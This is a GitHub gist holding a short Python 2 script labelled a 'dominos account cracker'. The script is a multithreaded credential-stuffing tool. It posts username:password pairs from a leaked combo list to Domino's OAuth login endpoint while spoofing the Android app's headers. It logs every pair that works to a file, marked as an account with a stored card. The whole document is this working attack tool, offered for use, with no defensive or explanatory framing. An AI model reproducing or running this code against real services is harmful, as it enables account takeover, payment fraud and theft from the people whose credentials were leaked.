Skip to content

Instantly share code, notes, and snippets.

@EthanFoltz
Created September 8, 2018 22:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EthanFoltz/2143cb29e048bb2ff62422e333671341 to your computer and use it in GitHub Desktop.
Save EthanFoltz/2143cb29e048bb2ff62422e333671341 to your computer and use it in GitHub Desktop.
dominos account cracker no proxy
#dominos account cracker no proxy
#usage: python dom.py <list> <threads>
import sys
import requests
import random
import threading
textfile = open(sys.argv[1], "r").readlines()
vuln = open("vulnfile.txt", "a")
nonvuln = open("novulnfile.txt", "a")
url = "https://api.dominos.com/as/token.oauth2"
post_headers = {
'User-Agent': 'Dominos/4.5.0 (Android 4.4.2; samsung/SM-G7106; en)',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept': '*/*',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'X-DPZ-D': '74d4359953a31666'
}
def bruteforce():
print "Starting thread!!!!"
for line in textfile:
try:
tmpcombo = random.choice(textfile).rstrip('\n')
combo = tmpcombo.split(':')
username = combo[0]
password = combo[1]
post_data = "username=%s&password=%s&grant_type=password" % (username, password)
status = requests.post(url, data=post_data, headers=post_headers).status_code
if status == 200:
print "200 - Cracked: %s:%s card:true" % (combo[0], combo[1])
vuln.write(tmpcombo)
vuln.write("\n")
else:
print "%d - Failed: %s:%s" % (status, combo[0], combo[1])
nonvuln.write(tmpcombo)
nonvuln.write("\n")
except:
pass
for threads in range(int(sys.argv[2])):
mkthrd = threading.Thread(target=bruteforce)
mkthrd.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment